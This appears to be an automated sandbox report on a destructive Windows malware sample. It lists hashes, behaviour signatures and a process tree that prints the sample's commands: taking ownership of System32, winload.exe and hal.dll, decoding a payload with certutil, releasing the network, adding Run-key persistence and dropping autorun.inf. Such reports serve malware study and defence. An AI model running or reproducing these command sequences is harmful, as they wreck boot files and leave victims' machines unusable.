9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb

Resubmissions

08/09/2026, 15:25

260908-stwazadq3x8

08/09/2026, 15:21

260908-srh8matapf8

08/09/2026, 15:13

260908-slsvwaswh18

29/07/2024, 01:22

240729-bq9krazeqe8

Analysis

user interaction
yes
max time kernel
149s
max time network
99s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
08/09/2026, 15:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
Size 112KB
Sample260908-srh8matapf
SHA256 9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb
MD5 f7319798850cc35b840799eedb2eca0b
SHA1 447fe1137f62ea4511d4fc6768802fb885b82b8d
SHA512 6819e7eeefce4765a37af4f665ee073f09e359df19dc1224ecce9e5866a22adcf7f032f3a3a4cf6c0016522f110ad68025364226c4a7d66c58471c8fed486c45
SSDEEP 3072:C7DhdC6kzWypvaQ0FxyNTBf5M/rtX79awF:CBlkZvaF4NTBBM/xJawF
TLSH
T112B39F41F3E242F7EAF1053100A6622F9736A2349764A8EBC74C3D529903AD4A77D3F9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution exploit persistence privilege_escalation upx

Malware Config

Signatures

Modifies Windows Firewall 2 TTPs 7 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5448	netsh.exe
9776	netsh.exe
2796	netsh.exe
10916	netsh.exe
12368	netsh.exe
16624	netsh.exe
16860	netsh.exe

Possible privilege escalation attempt 64 IoCs

exploit

pid	Process
9252	takeown.exe
11152	icacls.exe
11256	icacls.exe
13940	icacls.exe
20736	takeown.exe
10192	takeown.exe
10204	takeown.exe
10696	takeown.exe
14664	icacls.exe
17740	takeown.exe
18936	Process not Found
5544	icacls.exe
9340	icacls.exe
912	icacls.exe
10524	icacls.exe
7992	icacls.exe
12468	takeown.exe
5428	takeown.exe
9244	takeown.exe
11144	takeown.exe
20644	takeown.exe
5720	takeown.exe
10944	takeown.exe
10944	takeown.exe
1712	takeown.exe
13776	takeown.exe
11632	icacls.exe
10180	icacls.exe
6604	takeown.exe
10648	icacls.exe
2960	icacls.exe
9332	icacls.exe
10920	takeown.exe
2132	takeown.exe
12088	takeown.exe
15432	takeown.exe
5696	takeown.exe
11220	takeown.exe
18168	icacls.exe
10684	icacls.exe
11100	takeown.exe
8608	takeown.exe
10700	takeown.exe
6660	takeown.exe
9644	takeown.exe
17960	icacls.exe
20784	takeown.exe
9096	takeown.exe
9056	takeown.exe
11420	icacls.exe
16768	takeown.exe
11248	icacls.exe
10608	takeown.exe
8916	icacls.exe
7104	takeown.exe
760	icacls.exe
16740	icacls.exe
6304	icacls.exe
9276	takeown.exe
12884	icacls.exe
8672	takeown.exe
3580	icacls.exe
3668	takeown.exe
11240	icacls.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe	cmd.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
14352	takeown.exe
16260	takeown.exe
20844	Process not Found
2960	icacls.exe
11100	takeown.exe
15432	takeown.exe
11144	takeown.exe
3032	takeown.exe
5948	icacls.exe
8916	icacls.exe
11616	takeown.exe
12276	icacls.exe
14224	takeown.exe
13168	Process not Found
2332	takeown.exe
5832	icacls.exe
16340	takeown.exe
1000	takeown.exe
1656	takeown.exe
12088	takeown.exe
15540	takeown.exe
2892	Process not Found
20384	takeown.exe
11248	icacls.exe
10880	takeown.exe
3080	icacls.exe
10164	takeown.exe
10300	takeown.exe
8608	takeown.exe
5544	icacls.exe
10180	icacls.exe
14572	takeown.exe
5176	takeown.exe
5600	icacls.exe
20784	takeown.exe
6708	icacls.exe
3576	icacls.exe
5704	icacls.exe
9236	takeown.exe
6772	icacls.exe
18188	icacls.exe
10976	takeown.exe
10456	takeown.exe
9096	icacls.exe
11420	icacls.exe
18152	takeown.exe
11864	Process not Found
10944	takeown.exe
2368	icacls.exe
15136	icacls.exe
19272	Process not Found
10248	icacls.exe
912	icacls.exe
10412	icacls.exe
17296	icacls.exe
6604	takeown.exe
5428	takeown.exe
6304	icacls.exe
4176	takeown.exe
4612	icacls.exe
10204	takeown.exe
10700	takeown.exe
11240	icacls.exe
10132	takeown.exe

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1348	certutil.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Modifies boot configuration data using bcdedit 6 IoCs

pid	Process
2656	bcdedit.exe
10628	bcdedit.exe
8468	bcdedit.exe
6472	bcdedit.exe
13444	bcdedit.exe
13660	bcdedit.exe

Drops autorun.inf file 1 TTPs 1 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\Autorun.inf	cmd.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\winload.exe	attrib.exe
File opened for modification	C:\Windows\System32\hal.dll	attrib.exe
File opened for modification	C:\Windows\System32\winresume.exe	attrib.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 64 IoCs

execution

Visual Basic

T1059.005

pid	Process
6716	wscript.exe
12000	wscript.exe
12232	wscript.exe
9352	wscript.exe
14328	wscript.exe
18584	wscript.exe
18560	wscript.exe
12056	wscript.exe
6204	wscript.exe
11420	wscript.exe
5332	wscript.exe
6404	wscript.exe
9452	wscript.exe
16288	wscript.exe
14872	wscript.exe
5252	wscript.exe
6120	wscript.exe
6916	wscript.exe
17236	wscript.exe
18616	wscript.exe
7736	wscript.exe
13052	wscript.exe
5436	wscript.exe
5400	wscript.exe
2172	wscript.exe
6476	wscript.exe
6532	wscript.exe
16076	wscript.exe
12988	wscript.exe
12796	wscript.exe
20840	Process not Found
5052	wscript.exe
840	wscript.exe
6756	wscript.exe
5468	wscript.exe
6516	wscript.exe
13044	wscript.exe
18552	wscript.exe
13020	wscript.exe
2796	wscript.exe
16216	wscript.exe
15208	wscript.exe
14320	wscript.exe
18592	wscript.exe
5480	wscript.exe
7416	wscript.exe
8840	wscript.exe
13316	wscript.exe
12008	wscript.exe
11056	wscript.exe
5920	wscript.exe
6908	wscript.exe
5652	wscript.exe
8264	wscript.exe
6332	wscript.exe
6440	wscript.exe
13304	wscript.exe
6764	wscript.exe
11312	wscript.exe
18608	wscript.exe
2192	wscript.exe
6588	wscript.exe
4160	wscript.exe
10632	wscript.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x001900000002b487-268.dat	upx
behavioral1/memory/4116-269-0x0000000000400000-0x000000000040E000-memory.dmp	upx
behavioral1/memory/4116-381-0x0000000000400000-0x000000000040E000-memory.dmp	upx

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2780	cmd.exe
15136	cmd.exe
16168	cmd.exe
18992	cmd.exe
19092	cmd.exe
11544	cmd.exe
20524	cmd.exe
10588	cmd.exe
3592	cmd.exe
3344	cmd.exe
15544	cmd.exe
20896	cmd.exe
20684	cmd.exe
5484	cmd.exe
6684	cmd.exe
9572	cmd.exe
20636	cmd.exe
10216	cmd.exe
12528	cmd.exe
14344	cmd.exe
16128	cmd.exe
5280	cmd.exe
13764	cmd.exe
16508	cmd.exe
14216	cmd.exe
20776	cmd.exe
4188	cmd.exe
12108	Process not Found
11184	cmd.exe
3240	cmd.exe
12336	cmd.exe
17104	cmd.exe
14596	cmd.exe
15532	cmd.exe
3368	cmd.exe
20800	cmd.exe
20788	cmd.exe
8184	cmd.exe
10468	cmd.exe
12472	cmd.exe
12444	cmd.exe
13432	cmd.exe
21376	cmd.exe
20656	cmd.exe
18344	cmd.exe
6632	cmd.exe
6308	cmd.exe
7476	cmd.exe
9376	cmd.exe
4476	cmd.exe
8300	cmd.exe
10156	cmd.exe
12344	cmd.exe
20696	cmd.exe
19320	cmd.exe
572	cmd.exe
5324	cmd.exe
8312	cmd.exe
10688	cmd.exe
12356	cmd.exe
13632	cmd.exe
19260	cmd.exe
7268	cmd.exe
8656	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe

Gathers network information 2 TTPs 22 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
13068	ipconfig.exe
7224	ipconfig.exe
13208	ipconfig.exe
14632	ipconfig.exe
8968	ipconfig.exe
7028	ipconfig.exe
10104	ipconfig.exe
17188	ipconfig.exe
15840	ipconfig.exe
16708	ipconfig.exe
16320	ipconfig.exe
7632	ipconfig.exe
2088	ipconfig.exe
4916	ipconfig.exe
7608	ipconfig.exe
18624	ipconfig.exe
6952	ipconfig.exe
13888	ipconfig.exe
1428	ipconfig.exe
4192	ipconfig.exe
6692	ipconfig.exe
12080	ipconfig.exe

Modifies registry key 1 TTPs 52 IoCs

Modify Registry

T1112

pid	Process
1824	reg.exe
1752	reg.exe
14548	reg.exe
17252	reg.exe
17460	reg.exe
11124	reg.exe
10304	reg.exe
17980	reg.exe
19564	reg.exe
21320	reg.exe
21348	reg.exe
10012	reg.exe
3668	reg.exe
12728	reg.exe
16764	reg.exe
556	reg.exe
16508	reg.exe
21156	reg.exe
17020	reg.exe
16084	reg.exe
9740	reg.exe
10092	reg.exe
11156	reg.exe
15176	reg.exe
17076	Process not Found
5256	reg.exe
12932	reg.exe
16488	reg.exe
6028	reg.exe
8536	reg.exe
10024	reg.exe
11432	reg.exe
15824	reg.exe
9100	reg.exe
7668	reg.exe
19336	reg.exe
9080	reg.exe
10896	reg.exe
7680	reg.exe
18236	reg.exe
13188	reg.exe
7712	reg.exe
18728	reg.exe
19348	reg.exe
6984	reg.exe
5920	reg.exe
9672	reg.exe
7912	reg.exe
11176	reg.exe
11368	reg.exe
19388	reg.exe
5640	reg.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	1264	takeown.exe
Token: SeTakeOwnershipPrivilege	1820	takeown.exe
Token: SeTakeOwnershipPrivilege	3964	takeown.exe
Token: SeTakeOwnershipPrivilege	2332	takeown.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4520 wrote to memory of 572	4520	9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe	81
PID 572 wrote to memory of 3240	572	cmd.exe	82
PID 572 wrote to memory of 1264	572	cmd.exe	84
PID 572 wrote to memory of 3080	572	cmd.exe	85
PID 572 wrote to memory of 784	572	cmd.exe	86
PID 3240 wrote to memory of 1820	3240	cmd.exe	87
PID 572 wrote to memory of 3964	572	cmd.exe	88
PID 572 wrote to memory of 4612	572	cmd.exe	89
PID 572 wrote to memory of 4668	572	cmd.exe	90
PID 572 wrote to memory of 2332	572	cmd.exe	91
PID 572 wrote to memory of 3580	572	cmd.exe	92
PID 572 wrote to memory of 928	572	cmd.exe	93
PID 572 wrote to memory of 5052	572	cmd.exe	94
PID 572 wrote to memory of 1064	572	cmd.exe	95
PID 572 wrote to memory of 4172	572	cmd.exe	96
PID 572 wrote to memory of 3268	572	cmd.exe	97
PID 572 wrote to memory of 2192	572	cmd.exe	98
PID 572 wrote to memory of 1880	572	cmd.exe	99

Views/modifies file attributes 1 TTPs 64 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
10524	attrib.exe
16624	attrib.exe
784	attrib.exe
2332	attrib.exe
7892	attrib.exe
3576	attrib.exe
13632	attrib.exe
15856	attrib.exe
17064	attrib.exe
14452	attrib.exe
4684	attrib.exe
5620	attrib.exe
6432	attrib.exe
10568	attrib.exe
10512	attrib.exe
16416	attrib.exe
20240	attrib.exe
18296	attrib.exe
6784	attrib.exe
5624	attrib.exe
12144	attrib.exe
8940	attrib.exe
5652	attrib.exe
10988	attrib.exe
11520	attrib.exe
17264	attrib.exe
11872	attrib.exe
19248	attrib.exe
6304	attrib.exe
10676	attrib.exe
10884	attrib.exe
12284	attrib.exe
12948	attrib.exe
7888	attrib.exe
9652	attrib.exe
20308	attrib.exe
5876	attrib.exe
6232	attrib.exe
11132	attrib.exe
1552	attrib.exe
17972	attrib.exe
18084	attrib.exe
7948	attrib.exe
10916	attrib.exe
4284	attrib.exe
16104	attrib.exe
2468	attrib.exe
9916	attrib.exe
3668	attrib.exe
10620	attrib.exe
5360	attrib.exe
20512	attrib.exe
10948	attrib.exe
12676	attrib.exe
10512	attrib.exe
11348	attrib.exe
4668	attrib.exe
9300	attrib.exe
9920	attrib.exe
16100	attrib.exe
20940	attrib.exe
784	attrib.exe
3852	attrib.exe
10872	attrib.exe

C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
"C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4520
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\E91.tmp\E92.tmp\E93.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
  2⤵
  - Creates a file in the Startup directory
  - Drops autorun.inf file
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K Taskdl.bat
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3240
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32" /r
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1820
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\winresume.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1264
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\winresume.exe" /reset /c /q
    3⤵
    - Modifies file permissions
    PID:3080
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
    3⤵
    - Drops file in System32 directory
    - Views/modifies file attributes
    PID:784
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\winload.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3964
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\winload.exe" /reset /c /q
    3⤵
    - Modifies file permissions
    PID:4612
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\winload.exe"
    3⤵
    - Drops file in System32 directory
    - Views/modifies file attributes
    PID:4668
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2332
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /reset /c /q
    3⤵
    - Possible privilege escalation attempt
    PID:3580
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\hal.dll"
    3⤵
    - Drops file in System32 directory
    PID:928
- - C:\Windows\system32\wscript.exe
    WScript Informacion.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:5052
- - C:\Windows\system32\rundll32.exe
    rundll32 user32.dll, SetCursorPos
    3⤵
    PID:1064
- - C:\Windows\system32\rundll32.exe
    rundll32 user32.dll, SwapMouseButton
    3⤵
    PID:4172
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:3268
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:2192
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:1880
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:4992
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:840
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:4144
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:2840
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:2692
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:4400
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:772
- - C:\Windows\system32\certutil.exe
    certutil -decode "C:\Users\Admin\AppData\Local\Temp\Bytebeat.Shingapi.tmp" "Tasksvc.exe"
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1348
- - C:\Users\Admin\AppData\Local\Temp\Tasksvc.exe
    Tasksvc.exe
    3⤵
    PID:4116
- - C:\Windows\system32\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:1428
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
    3⤵
    PID:2188
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h *.*
    3⤵
    - Views/modifies file attributes
    PID:4684
- - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    3⤵
    PID:4888
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\19DC.tmp\19DD.tmp\19DE.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
      4⤵
      PID:8
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        5⤵
        
        PID:2904
      - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        6⤵
        Modifies file permissions
        
        PID:3032
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        5⤵
        
        PID:3136
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        5⤵
        
        PID:1248
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2468
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        5⤵
        
        PID:3956
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        5⤵
        
        PID:3512
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        5⤵
        
        PID:232
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        5⤵
        
        PID:5620
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        5⤵
        Modifies file permissions
        
        PID:5832
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        5⤵
        
        PID:6084
    - - C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        5⤵
        
        PID:5496
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        5⤵
        
        PID:5188
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        5⤵
        
        PID:5732
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5920
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5252
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:5872
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        
        PID:6108
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5332
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5400
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:2024
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        
        PID:5344
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:5188
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        
        PID:5860
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        5⤵
        Gathers network information
        
        PID:4192
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        5⤵
        
        PID:3852
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        5⤵
        
        PID:6148
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:7068
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6A7D.tmp\6A7E.tmp\6A7F.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        
        PID:6152
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:9376
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        
        PID:11008
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Modifies file permissions
        
        PID:5176
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        
        PID:11064
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:10872
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        Modifies file permissions
        
        PID:10880
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Modifies file permissions
        
        PID:3576
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        Views/modifies file attributes
        
        PID:10884
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        Modifies file permissions
        
        PID:11616
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:11420
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        Views/modifies file attributes
        
        PID:12948
        
        C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        7⤵
        
        PID:13192
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        7⤵
        
        PID:13228
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        7⤵
        
        PID:568
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:12952
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:11984
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:10844
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:7444
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:13476
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:14232
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:14016
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:14656
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:14748
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:14872
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:16708
        
        C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        7⤵
        
        PID:6376
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:18084
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:7128
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:7144
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:7152
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:7160
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6C42.tmp\6C43.tmp\6C44.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:6632
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:10156
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Modifies file permissions
        
        PID:10300
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Modifies file permissions
        
        PID:10164
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        
        PID:9332
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:10300
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:10964
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:11248
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:11256
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        
        PID:2132
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        
        PID:10772
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        Views/modifies file attributes
        
        PID:3576
        
        C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        7⤵
        
